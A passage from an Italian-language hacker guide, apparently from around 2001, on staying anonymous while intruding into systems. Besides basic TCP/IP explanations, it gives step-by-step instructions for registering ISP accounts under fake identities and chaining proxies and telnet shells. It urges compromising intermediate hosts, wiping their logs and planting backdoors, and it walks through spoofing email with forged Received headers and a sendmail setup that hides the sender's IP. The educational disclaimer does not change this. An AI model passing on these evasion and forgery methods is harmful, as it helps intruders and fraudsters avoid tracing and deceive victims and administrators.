della guida può essere letta anche da un newbie, magari saltando
le parti che sembrano più complesse.




DISCLAIMER
==========
Questo documento è stato sviluppato solo per scopo educativo, per
aiutare a capire le reti, ed aiutare i sysadmin a difendersi da eventuali
attacchi descritti in questo documento. Di conseguenza l'autore del
testo non si assume nessuna responsabilità su ciò che venga fatto
tramite queste informazioni, e non ne incita l'utilizzo per scopi fraudolenti.


Ok?
Iniziamo...


Dedicated to: La fantastica Delilah, tutti gli amici di #hack e quelli che mi conoscono!
Fuck to: oggi mi sento buono :)






INDICE DELLA GUIDA
==================

Capitolo 1°
- Introduzione
- Argomenti trattati

PARTE PRIMA DELLA GUIDA
- TCP/IP
- TECNICHE DI ANONIMIZZAZIONE "
SEMPLICI"

Capitolo 2°
- Caller line identification
- Account internet
Capitolo 3°
- TCP/IP
- Introduzione al protocollo TCP e al protocollo IP
- Three-way-handshake
Capitolo 4°
- Tecniche elementari di anonimizzazione
- Tramiti web
- Proxy
- Connessioni concatenate tramite telnet
- "
Passerelle ad hoc"
- Inviare email quasi anonime
- Inviare email anonime al 100% (solo con linux)

PARTE SECONDA DELLA GUIDA
- TECNICHE DI ANONIMIZZAZIONE COMPLESSE
- ARP/RARP/MAC
- HIJACK CON ATTACCHI ARP
- CONCLUSIONI DELLA GUIDA

Capitolo 5°
- Tecniche avanzate di anonimizzazione
- IP spoofing
- Spoofing cieco e non
- Hijacking (la mia tecnica preferita ;)

(consiglio di leggere attentamente i prossimi due capitoli, i più ricchi di
info interessanti :)

Capitolo 6°
- ARP , RARP , MAC
- Proxy ARP
Capitolo 7°
- Hijack al protocollo TCP tramite attacco ARP
- Vulnerabilità ed attacchi
- Hijack ad una connessione TCP
- Attacchi DoS
- Dimostrazione pratica di un attacco hijack
- Attacco
- Protezioni e contromisure
- Protezione
- Detenzione
- Conseguenze e perdite
- Perdite per le vittime
- Motivazioni per un attacco ARP - hijack
- Conclusioni
Capitolo 8°
- Conclusioni della guida
- Fonti







CAPITOLO PRIMO

\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
INTRODUZIONE E ARGOMENTI TRATTATI
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|


La preoccupazione principale di chiunque entra illecitamente in un
sistema è quella di nascondere le proprie tracce, al fine di mantenere
nascosta la propria posizione reale, o almeno di rendere la propria
localizzazione la più difficoltosa possibile. Per l'importanza di questo
argomento ho cercato di rendere questo testo il più completo possibile
in ambito di tecniche di anonimizzazione, cercando di renderlo semplice
ma allo stesso tempo trattando argomenti più o meno complessi.

Tratterò le "
basi di internet", prima ad alto livello descrivendo TCP/IP
e poi più a basso livello descrivendo ARP/RARP/MAC, utili per comprendere
come funzionano le tecniche di anonimizzazione. Descriverò le maggiori
tecniche di anonimizzazione, dalle più semplici, come la concatenazione
di connessioni, alle più complesse, come l'ip spoofing ed i vari derivati,
e tratterò nella parte finale della guida, tecniche di attacco a basso
livello utilizzando l'hijacking sul protocollo TCP tramite attacco ARP.

La prima parte della guida è scritta per i newbie, quindi se non siete
tali, vi consiglierei di passare direttamente alla seconda, per non
rischiare di annoiarvi, dato che avrete letto queste cose almeno un
milione di volte :).





PARTE PRIMA DELLA GUIDA


CAPITOLO SECONDO

\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
Caller line identification & Account internet falso
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Per essere sicuri di avere il massimo dell'anonimità possibile bisogna
analizzare il nostro "
percorso" fin dall'inizio, per cercare di rimanere
il numero minore di tracce "
per la strada" che possano far ricondurre a noi,
quindi partiremo dal nostro dial-in verso l'ISP (in parole povere, la nostra
chiamata telefonica verso il fornitore del servizio internet
(ISP = internet service provider)).
Quando chiamiamo qualcuno il CLI (caller line identification) invia il
nostro numero telefonico a colui che chiamiamo, che quindi può vedere il
nostro numero in tempo reale. Naturalmente ciò avviene anche quando chiamiamo
il nostro ISP. Per evitare quindi che l'ISP possa vedere il nostro numero,
ci viene in aiuto il BIC (blocco identificazione chiamante), il quale
disabilita in parte il CLI (dico in parte, perchè il nostro numero telefonico
rimarrà sempre sui tabulati della telecom). Per utilizzare il BIC basta
inserire il numero 1793 oppure *67# davanti al numero da chiamare, ed in questo
caso davanti al numero del nostro ISP.
Il secondo passo da compiere, è connettersi tramite un account falso. Infatti,
se per esempio stiamo hackando un sistema, e non prendiamo le giuste
precauzioni, il sysadmin tramite il nostro ip potrebbe risalire al nostro
account, e se non abbiamo un account falso, verrebbe subito a conoscenza della
nostra vera identità, di dove abitiamo, ecc...
Quindi, cosa importante, è registrarsi un account falso, ed ancora più
importante è essere anonimi quando lo registriamo, quindi utilizziamo il BIC ed
un proxy o un anonimizzatore per raggiungere la pagina di registrazione
(guarda il cap. successivo).
Per quanto riguarda i dati falsi da inserire, si potrebbero mettere dati senza
senso, ma visto che spesso i provider richiedono anche il codice fiscale,
è utile utilizzatore un generatore di identità come quello di
Cavallo De Cavallis.






CAPITOLO TERZO


=====================================================
Questo capitolo in alcune parti può risultare
di difficile comprensione, soprattutto se si è
alle prime armi; naturalmente non preoccupatevi,
molte delle informazioni sono state aggiunte solo
per i più "
curiosi" (il three-way-handshake), e
quindi, se volete, leggetevi velocemente l'inizio
e saltate direttamente al cap. successivo :))
=====================================================


\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
TCP/IP
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Per poter iniziare a descrivere le prime semplici tecniche per anonimizzarsi,
è giusto sapere prima su cosa si basano, come funzionano, e quindi bisogna
prima conoscere il protocollo TCP ed il protocollo IP, cose fondamentali
da sapere per avere una idea di cosa sia la rete almeno ad alto livello.

Il TCP (transfer control protocol) è il protocollo di trasferimento dati più
utilizzato in rete, insieme al UDP (user datagram protocol). La differenza tra
i due è fondamentale, infatti, mentre l'UDP invia i dati e basta, il TCP
si accerta che questi arrivino a destinazione, e quindi è un protocollo
maggiormente affidabile.
Qualunque operazione facciamo in rete, il protocollo TCP non fa altro che
inviare pacchetti contenenti dati diversi a seconda della situazione. Tutto
ciò però è possibile grazie ad un altro protocollo, l'IP (internet protocol)
ovvero il vero pilastro della "
grande rete" internet.
L'indirizzo IP (composto da 4 numeri da 8 bit) serve ad identificare una
macchina univocamente in una rete TCP/IP, ed è quindi in parole povere come
la carta d'identità di una macchina all'interno di internet e di conseguenza
è ciò che dobbiamo nascondere per renderci anonimi.
Per capire l'importanza dell'IP e la difficoltà nel nasconderlo o falsificarlo
faccio subito un semplice esempio:

Immaginiamo le poste. Quando vogliamo inviare una lettera a qualcuno, bisogna
indicare sulla busta l'indirizzo a cui dovrà essere recapitata, e se si vuole
che il destinatario ci possa anche rispondere dobbiamo anche indicare
l'indirizzo a cui si desidera ricevere la risposta. Se non si indica un
recapito ne sulla busta, ne all'interno delle lettera, il ricevente non avrà
possibilità di risponderci e quindi avremo inviato una lettera anonima.

Questo succede anche col protocollo TCP, nel quale però gli indirizzi sono
rappresentati dagli indirizzi IP. Se non usiamo nessuna precauzione ci penserà
il nostro programma gestore del protocollo TCP a riempire il campo del source
IP col nostro ip. Naturalmente noi possiamo facilmente modificare questo
campo utilizzando diversi metodi (come per es. sockets raw),ma purtroppo come
nell'esempio non saremo più in grado di ricevere alcuna risposta dalla
macchina che abbiamo contattato, e quindi non sarà servito a nulla, l'unico
aiuto che ci può dare modificare l'indirizzo del mittente è essere anonimi
quando effettuiamo "
manovre" in cui non avremo bisogno di risposte dal server
(per esempio attacchi DoS (denial of service) (vedi capitolo settimo, sezione
Attacchi DoS)) o quando utilizzeremo tecniche come l'ip spoofing (vedi capitoli
successivi).

Per capire cosa contengono questi pacchetti inviati dal protocollo TCP, ecco
uno schema che rappresenta un tipico pacchetto:

__________________________________________________________
| SOURCE IP | TARGET IP |
|_______________________________|__________________________|
| TCP LENGTH | SOURCE PORT |TARGET PORT | SEQ | ACK|
|______________|________________|_____________|_______|____|
| FLAGS | WINDOW |TCP CHECKSUM | UrgPtr |
|______________|________________|_____________|____________|
| CONTENUTO DATI DEL PACCHETTO |
|__________________________________________________________|


Tutti i dati all'interno del pacchetto sono in formato esadecimale.
Ecco cosa contiene ognuno di questi campi:
- Source ip : indirizzo ip del "
mittente"
- Target ip : indirizzo ip del "
destinatario"
- Target port : porta del server alla quale inviare il pacchetto
- Tcp checksum : campo per il controllo dell'integrità dei dati
- Dati : i dati da inviare
- Flags : guarda gli esempi del three-way-handshake
- Seq : il numero di serie che il protocollo TCP assegna ad ogni
pacchetto, ovvero il numero che identifica univocamente il pacchetto,
in modo da poter, ad esempio, scartare duplicati e correggere certi
errori che potrebbero prodursi durante la connessione.
(come vedremo più avanti con le tecniche di ip spoofing, questo
aspetto dei pacchetti rende assai più difficile l'attuamento della
falsificazione dei pacchetti...)
- Gli altri campi possono essere sorvolati per non scendere troppo
nei particolari


Per avere una propria "
esperienza", vi consiglio di utilizzare un qualunque
tcp sniffer, e di sniffarvi la vostra connessione, per poi vedere i pacchetti
che il vostro pc ha inviato e ricevuto durante lo sniffing.



\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
THREE WAY HANDSHAKE
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Prima di poter comunicare con un server o un pc in rete, i due host hanno
bisogno di scambiarsi delle informazioni per poi iniziare il vero dialogo
(Naturalmente anche queste informazioni sono dei pacchetti).
Questa operazione pre-dialogo col server è chiamata three-way-handshake,
infatti si compone di tre fasi, ovvero le seguenti:

================================================================
[Questa seguente parte sul three-way-handshake è stata tratta da
"
Tecniche di scanning" articolo del grande Tritemius, pubblicato
su Onda Quadra 0]
================================================================

1) il client invia un pacchetto con il solo flag SYN attivo nel campo FLAGS
(vedi tabella sopra)
2) il server risponde; la risposta può essere di 2 tipi:
porta aperta o porta chiusa, se la porta è chiusa il server risponderà
con un pacchetto con i flag ACK RST, se invece è aperta, risponderà
con un pacchetto con i flag SYN e ACK.
3) il client invia un pacchetto ACK al server e può avere inizio il vero
dialogo tra client e server (sempre se la porta era aperta...)

Questo in modo molto semplificato, senza considerare i valori di ISN
(initial sequence number) e ack.

Un esempio pratico di pacchetti inviati durante il three-way-handshake:
(pacchetti sniffati da butsniffer, ottimo sniffer per Windows)


Il client invia SYN, questo lo vediamo nel campo "
Flags":
la "
S" sta appunto per SYN.

Source IP: 192.168.0.1 Target IP: 192.168.0.2
TCP Length: 0 Source Port: 1032 Target Port: 1080
Seq: 1E8734B7 Ack: 00000000
Flags: S Window: 32120 TCP ChkSum: 11901 UrgPtr: 0

il server risponde con SYN ACK: la porta e' aperta.

Source IP: 192.168.0.2 Target IP: 192.168.0.1
TCP Length: 0 Source Port: 1080 Target Port: 1032
Seq: 00116211 Ack: 1E8734B8
Flags: SA Window: 8760 TCP ChkSum: 54467 UrgPtr: 0

il client invia ACK: il three-way-handshake e' concluso con successo,
inizia la trasmissione di dati.

Source IP: 192.168.0.1 Target IP: 192.168.0.2
TCP Length: 0 Source Port: 1032 Target Port: 1080
Seq: 1E8734B8 Ack: 00116212
Flags: A Window: 32120 TCP ChkSum: 64270 UrgPtr: 0


In questo caso la porta era aperta...



CAPITOLO QUARTO

\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
TECNICHE ELEMENTARI DI ANONIMIZZAZIONE
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Come visto nel capitolo precedente, prima di poter comunicare con un
server, bisogna connettercisi, e ciò tramite il three-way-handshake.
Quindi se per esempio vorremmo tramite il nostro browser web visitare
un sito (per esempio http://xpterminator.cjb.net ;) e modifichiamo
il campo del source ip per essere anonimi, questa connessione non potrà
mai avvenire, poichè il server non risponderà a noi, ma all'ip che abbiamo
inserito...
Ciò complica l'anonimità in rete, e non di poco, ed uno dei primi metodi
che potrebbe venire in mente per poter essere anonimi è quello di stabilire
la connessione da un'altra macchina, ovvero utilizzare una macchina
intermedia per mezzo della quale stabilire la connessione. Il vantaggio
di questo tipo di tecnica consiste nel poter usare i soliti client di
rete per connettersi ai vari servizi (browser web, client ftp, client di
posta elettronica, ecc..).
Esistono diversi metodi per stabilire connessioni verso un server da una
macchina non nostra..ecco i principali:

\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
TRAMITI WEB
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Con l'aumento di popolarità del web come servizio internet, sono nati tanti
servizi ad esso dedicati. Uno di questi è quello che ci permette di
raggiungere una pagina web tramite un'altra senza mostrare il nostro indirizzo
reale, ma bensì quello della macchina dalla quale abbiamo effettuato la
connessione; ciò è possibile tramite script CGI o applet java.
Ecco un esempio di ciò che avviene:

______________ _______________ ___________
| 123.45.67.89 | ---> | 222.111.12.21 | --> |111.111.1.2|
-------------- --------------- -----------
IL NOSTRO PC TRAMITE WEB NOSTRO OBIETTIVO


ed ecco cosa avviene:

1)contattiamo il tramite web, e ci connettiamo ad esso
2)inviamo al tramite web, ciò che "
deve fare"
3)il tramite web si connette al nostro obiettivo
4)il tramite web "
fa quello che deve fare" ovvero preleva la pagina web da noi
richiesta
5)il nostro obiettivo invia la pagina web al tramite web
6)il tramite web invia la pagina ottenuta dall'obiettivo a noi
7)il nostro browser web visualizza la pagina ricevuta

Quindi tra i log del nostro obiettivo rimarrà l'ip 222.111.12.21 (naturalmente
in questo esempio) invece che 123.45.67.89. Purtroppo il nostro ip però
rimarrà sempre nei log del tramite web....

La forma più solita che assume un tramite web è: http://www.server.com/-_-
Dopo -_- noi dobbiamo inserire il nostro obiettivo, esempio:
http://www.server.com/-_-http://www.microsoft.com

Spesso un tramite web può assumere anche la seguente forma:
http://www.server.com/cgi-bin/nomecgi?
(dove nomecgi può assumere qualunque nome)
esempio:
http://www.server.com/cgi-bin/nomecgi?http://www.microsoft.com

Come sicuramente avrete intuito per ottenere ancora una maggiore anonimità è
un ottimo metodo concatenare i tramiti web (per un ottimo livello di anonimità
bisogna concatenare almeno 4 tramiti web, ma ricordate che più se ne
concatenano più diventa lenta la connessione!).
Esempio:
http://www.server.com/-_-http://www.server2.com/-_-http://www.server3.com/cgi-bin/anony?http://www.microsoft.com

Concettualmente il tramite web agisce ugualmente al proxy.


\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
PROXY
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Come già detto i proxy funzionano ugualmente ai tramiti web.
Ecco un semplice esempio che fa capire cos'è un proxy e come funziona:

Supponiamo che un'università possegga una rete locale comprendente cinquanta
macchine, e desidera dotarle tutte di accesso internet. L'università avrà
bisogno di contrattare cinquanta indirizzi ip perchè queste macchine possano
accedere alla rete, cosa che in molti casi risulta infattibile e poco pratico.
Esiste una soluzione molto più semplice, cioè utilizzare un proxy.
Quindi l'università otterrà un solo indirizzo ip per accedere ad internet,
il quale verrà assegnato ad una sola macchina che esegue un programma speciale
generalmente conosciuto con il nome di proxy. Questa macchina proxy sarà la
rappresentante in internet di tutte le macchine della rete interna. Quando una
di queste richiederà un dato ad un server di internet, in realtà lo richiederà
al proxy. Quest'ultimo si occuperà di fare la richiesta reale e convoglierà la
risposta alla macchina della rete interna. Con questa configurazione il server
internet riceverà richieste da un solo indirizzo ip, quello assegnato al
proxy, anche se queste richieste hanno origine in macchine della rete interna,
ma non hanno un indirizzo ip valido.

Da ciò ci si può fare già una idea di come occultare il proprio indirizzo ip;
infatti, molto spesso i proxy non vengono configurati bene, ed invece di
permettere l'accesso tramite di esso alle sole macchine della rete interna,
permettono il loro utilizzo da parte di qualunque macchina (spesso alcuni
proxy sono creati apposta per essere utilizzati da qualunque macchina).
Quindi, basta che inviamo la richiesta al proxy e lui farà ciò che vogliamo
per noi, proprio come i tramiti web. A differenza dei tramiti web però non
dovremo inserire un url aggiuntivo davanti quello da raggiungere, ma dovremo
settare il nostro browser per mandare le nostre richieste al server proxy ad
una determinata porta che può cambiare da proxy a proxy.

Ciò però non è semplice come può sembrare infatti spesso i proxy manterranno
un registro di tutte le connessioni stabilite, in modo che se dovesse
risultare tramite di un attacco, l'amministratore del sistema colpito possa
contattare l'amministratore del proxy che esaminando il registro gli possa
fornire l'indirizzo ip reale dell'attaccante.

Raramente i proxy vengono installati da soli, è consuetudine infatti
utilizzarli in simbiosi con un firewall. La macchina contenente il firewall
(spesso la stessa in cui è installato il proxy) disporrà di due adattatori di
rete. Com'è logico, anche il proxy deve possedere due adattatori di rete per
assolvere alle sue funzioni. Un adattatore sarà connesso alla rete interna che
s'intende proteggere, che riferendoci al nostro esempio è la rete di cinquanta
computer, mentre l'altro sarà connesso ad internet.
Il firewall verrà configurato con una serie di regole che scarteranno alcuni
pacchetti con contenuti anomali. Verranno scartati anche pacchetti che
arrivino dall'adattatore connesso alla rete interna con destinazione esterna,
facendo così che le macchine della rete non possano essere utilizzate con la
tecnica dello spoofing (guarda cap. successivi). Verrà scartato inoltre
qualunque pacchetto proveniente dall'adattatore esterno e diretto ad una
macchina esterna. Questo è il caso dell'intruso che tenta di utilizzare il
proxy per occultare il proprio indirizzo ip. La configurazione corretta dei
firewall è in generale abbastanza complicata ed esistono in commercio testi di
considerevole mole che trattano il tema.



\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
CONNESSIONI CONCATENATE TRAMITE TELNET
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Un altro metodo per utilizzare un computer intermedio è quello di concatenare
più connessioni utilizzando telnet, ovvero "
telnettandosi". In parole povere
tramite telnet ci si connette ad una propria shell, dalla quale poi è
possibile connettersi ad un altra, e così via, finchè non ci si telnetta
direttamente nel server da attaccare. Quindi la macchina attaccata vedrà il
numero ip del server del nostro ultimo shell account utilizzato e non il
nostro. Anche questo metodo però ha i suoi problemi...infatti oltre ad essere
complesso da attuare, (bisogna trovarsi degli account shell in rete che diano
la possibilità di utilizzare servizi come telnet, ftp, rlogin, irc, ecc..e di
gratuiti non credo che ne esistano (ma si possono sempre hackare ;) ), ha il
difetto che la localizzazione dell'origine della connessione è relativamente
semplice...almeno chè... :) almeno che non facciamo in modo di "
compromettere"
almeno una delle macchine utilizzate. Ecco spiegato un pò il concetto....
Quando il sysadmin del server attaccato vedrà l'ip (falso) dell'attaccante,
gli basterà collegarcisi e guardare il syslogd di questo, dal quale otterrà
un'altro indirizzo ip (la penultima macchina utilizzata), e ripetendo la stessa
operazione più volte giungerà fino a noi, ovvero fino al nostro reale indirizzo ip.
Come ho detto in precedenza, questo è possibile solo se non abbiamo
compromesso almeno una delle macchine utilizzate. Ma noi siamo in gamba e lo
faremo :). Ciò che dobbiamo fare e riuscire ad hackare una delle macchine
tramite la quale ci colleghiamo, in modo da poter essere root. Il fattore più
importante qui è la velocità. Infatti finito l'attacco, dovremmo uscire dalla
sessione telnet aperta, poi uscire anche dall'altra fino a rimanere a quella
della quale abbiamo la # (root! ;). Qui dobbiamo eliminare tutte le nostre
tracce dai log di sistema (non dimenticate niente!), di cui in questa guida
non parlo, e subito dopo uscire anche da questa sessione telnet. Dico di
fare subito, perchè se il sysadmin è un tipo in gamba, ed è veloce, può
darsi che arrivi prima che noi cancelliamo i log, o ancora peggio può darsi
che noi abbiamo già cancellato i log ma siamo ancora connessi su quel server,
quindi al sysadmin basterà fare un semplice netstat per vedere la nostra
connessione (un consiglio è quello, se è possibile, di compromettere i log
su più di una sola macchina).



\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
"
PASSERELLE AD HOC"
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Passerelle ad hoc, ovvero, dei "
passaggi segreti" che ci creiamo noi stessi.
Questo metodo di anonimizzazione è uguale ai precedenti visti, infatti si
utilizza una macchina intermedia per effettuare la connessione al server
finale. La differenza tra le altre tecniche è che questi passaggi segreti ce
li costruiamo noi. Per esempio, riusciamo ad hackare un server divenendo il
root? Allora ci installiamo un programma proxy su una porta a nostra scelta
e cerchiamo di non dirlo a nessuno. Quindi poi utilizzeremo questo server
hackato come un qualunque proxy. Naturalmente se ci abbiamo installato il
programma proxy significa che abbiamo ottenuto la root shell e quindi è buona
abitudine inserire delle backdoor per poter rientrare in futuro, anche se il
sysadmin cambia la propria password; ciò ci sarà utile per poter ripulire i
log del sistema utilizzato da proxy, dopo aver effettuato le nostre
connessioni. Ricordatevi sempre di usare una concatenazione di connessioni
quando vi collegate al server manomesso, come visto precedentemente, e
prendete sempre le giuste precauzioni. Se fate tutto per bene, e quindi
ripulite tutti i log per bene, avrete una anonimità del 100%, rimarrà solo
l'ip dell'host manomesso nei log del server al quale ci siamo collegati.



\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
INVIARE E-MAIL QUASI ANONIME
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Fin qui abbiamo visto le tecniche per collegarsi anonimamente a siti web, o a
shell, e di conseguenza a tutti i suoi servizi. Ho inserito l'argomento delle email
anonime dopo di essi, non perchè è più difficile ma perchè possiamo attuare anche
qui la tecnica sopradetta della concatenazione delle connessioni tramite telnet.
Descrivo ora una semplice tecnica per inviare email semi-anonime;
per farlo bisogna collegarsi alla porta 25, dove solitamente è installato il
demone smtp, di un mail server. Per l'esempio utilizzeremo mail.libero.it
Cliccate su start --> esegui e digitate telnet, dopodichè premete ok.
(per inviare email anonime potete anche utilizzare il telnet realizzato da me:
Xp Tel 'n chat downloadabile dal mio sito http://xpterminator.cjb.net :)
Si avvierà telnet, se non lo avete mai configurato fatelo ora dal menu della
configurazione mettete il segno di spunta a tutte le opzioni a sinistra.
Ora connettetevi al server mail.libero.it sulla porta 25.
Il server ci dirà di essere pronto, digitiamo:

helo anonimo.it
mail from: <anonimo@anonimo.it>
rcpt to: <destinatario@provider.it>
mail
Received: from smtp5.libero.it (111.111.111.111) by ims3b.libero.it (5.5.042)
id 3B73CBD4000235F5 for anonimo@anonimo.itit; Sun, 12 Aug 2001 00:02:49 +0200
Received: from be3a.com (222.222.222.222) by smtp5.libero.it (5.5.025)
id 3B2B228203D0507F for anonimo@anonimo.it; Sun, 12 Aug 2001 00:02:49 +0200
Message-ID: <3B2C22820DD0507F@smtp5.libero.it> (added by postmaster@iol.it)
Date: Sun, 12 Aug 2001 00:00:00
From: <anonimo@anonimo.it>
To: <destinatario@provider.it>
Subject: prova
Messaggio di prova
.
quit



In questo "
dialogo" che abbiamo effettuato col server, ho eliminato le sue
risposte. Ecco il significato di ogni riga inviata:

helo anonimo.it ---> salutiamo il server, anonimo può essere sostituito con
qualunque altra parola

mail from: <anonimo@anonimo.it> ---> diciamo al server il mittente della mail
(cambiate anonimo@anonimo.it con un'email falsa)

rcpt to: <destinatario@provider.it> ---> diciamo al server colui che dovrà
ricevere l'email

mail ---> indichiamo al server che iniziamo il messaggio dell'email

Received: from smtp5.libero.it (111.111.111.111) by ims3b.libero.it (5.5.042)
id 3B73CBD4000235F5 for anonimo@anonimo.itit; Sun, 12 Aug 2001 00:02:49 +0200
Received: from be3a.com (222.222.222.222) by smtp5.libero.it (5.5.025)
id 3B2B228203D0507F for anonimo@anonimo.it; Sun, 12 Aug 2001 00:02:49 +0200
Message-ID: <3B2C22820DD0507F@smtp5.libero.it> (added by postmaster@iol.it)
Date: Sun, 12 Aug 2001 00:00:00

Queste righe servono a confondere la mail, per rendere più difficile capire
quale sia il nostro vero ip fra quelli qui detti. Sostituite gli ip
111.111.111.111 e 222.222.222.222 con ip più credibili, e cambiate gli id (ma
non di troppo (sono codici esadecimali, quindi con numeri da 0 a 9 e lettere A
B C D E F). Sostituite inoltre anonimo@anonimo.it con l'email falsa che avete
inserito più sopra

From: <anonimo@anonimo.it> ---> inseriamo nelle intestazioni dell'email chi è
il destinatario (naturalmente email falsa)

To: <destinatario@provider.it> ---> inseriamo nelle intestazioni dell'email
chi sarà colui che dovrà ricevere la mail

Subject: prova ---> inseriamo nelle intestazioni l'oggetto della mail, in
questo esempio prova

---> lasciamo una riga vuota

Messaggio di prova ---> scriviamo il messaggio che vogliamo inviare (anche su
più righe)
. ---> digitiamo un punto su una riga vuota

quit ---> inviamo la mail e chiudiamo la sessione telnet



Questo è lo schema che dovremo prendere di esempio ogni volta che vogliamo
inviare email tramite questo metodo.

Questa è la tecnica più semplice di inviare email anonime (a parte i programmi
apposta fatti per questo, ma quelli li usano i lamah, voi non siete lamer
vero? :P ).

Per ottenere una anonimità quasi assoluta è possibile fare la stessa cosa,
però lanciando il telnet dopo essersi telnettato su qualche shell
(ricordandovi per ancora maggiore sicurezza di comprometterne una). In questo
caso non dovrete scrivere i vari received from falsi, il message-id ed il date,
perchè quelli che saranno messi di standard non conterranno il vostro ip ma bensì quello
della macchina dalla quale avete lanciato telnet.



\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
INVIARE E-MAIL ANONIME AL 100% (solo con linux)
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Un altro metodo per inviare email con anonimità a dir quasi assoluta, è lo
stesso descritto sopra, l'unica differenza è che è moooolto più semplice,
infatti non dovremo ne telnettarci tra le varie shell, ne compromettere i log
di una di esse. Ciò che dovremo fare è aver installato sendmail sul nostro pc
(bisogna avere linux!), e seguire queste istruzioni.
Per poter inviare email col nostro sendmail dobbiamo configurare il file:
/etc/sendmail.cf
All'interno di questo file cerchiamo due righe consecutive simili a queste:

#"
Smart" relay host....
DSmail.server.it

l'importante è che ci sia un # davanti la prima riga, ed un DS davanti la
seconda. Modifichiamole per farle diventare così:

#"
Smart" relay host (may be null)
DSmail.server.it

in cui mail.server.it va sostituito con il vostro provider(es:mail.libero.it)
Ora salvate ed uscite. Ecco spiegato il significato delle righe:

#"
Smart" relay host (may be null) ---> con questa riga abbiamo obbligato il
demone MTA a mandare la posta al
server sotto scritto, sarà poi compito
suo occuparsi del resto


Ora per attuare le modifiche dovete uccidere il demone e farlo ripartire,
quindi digitate:

killall -HUP sendmail

Se tutto è andato bene non succederà nulla, se invece c'è stato qualche
problema apparirà l'errore. Per verificare che sia in funzione digitare:

ps aux | grep sendmail

e se non funziona, ovvero non è in funzione il sendmail, digitare come root:

/usr/sbin/sendmail -bd -q 15m

Fatto questo ci manca ancora un'ultima cosa...
Editate il file /etc/hosts e aggiungete in fondo al file la riga:

127.0.0.1 server.it

dove server.it è il vostro provider (es.: libero.it).
Ciò vi permetterà di inviare email anche quando non siete connessi ovvero appena saremo
connessi ci basterà digitare il comando: "
sendmail -q" per inviare le mail.

Ora siamo pronti per inviare una email moolto anonima :). Telnettiamoci sulla
porta 25 del nostro pc (dov'è installato sendmail), digitando:

telnet localhost 25

Ed eseguiamo i passi sopra detti, senza prendere però alcuna precauzione,
riassumendo:

helo anonimo.it
mail from: <anonimo@anonimo.it>
rcpt to: <destinatario@provider.it>
data
From: <anonimo@anonimo.it>
To: <destinatario@provider.it>
Subject: Questa è una email anonima al 100%

Questa email è anonima al 100% !!
.
quit

Ora avremo inviato una email totalmente anonima perchè nelle intestazioni del
messaggio non apparirà nemmeno un indirizzo IP!

Ciò è possibile farlo anche quando non ci si è connessi, per esempio da
disconnessi si eseguono gli stessi passi qui detti, e poi appena connessi si
digita il comando: sendmail -q , come già detto sopra.

Oltre ad inviare queste mail anonime tramite telnet, è possibile farlo anche
normalmente tramite il nostro client mail preferito, basta configurarlo per
utilizzare come mail server il nostro sendmail (nella maggior parte dei casi
si trova in /usr/sbin/sendmail) ed inviando utilizzando un account falso,
specificando una mail diversa, ecc..






PARTE SECONDA DELLA GUIDA

CAPITOLO QUINTO

\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|
TECNICHE AVANZATE DI ANONIMIZZAZIONE
\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|\|/|

Tutte le tecniche per anonimizzarsi fin qui descritte, non sono le più
raffinate, ciò perchè il nostro indirizzo ip non rimane nel server nostro
obiettivo, però rimane in qualche punto della rete, come nel nostro "
tramite"
utilizzato per raggiungerlo.
Qui di seguito, analizziamo tecniche più complesse che ci permettono di non
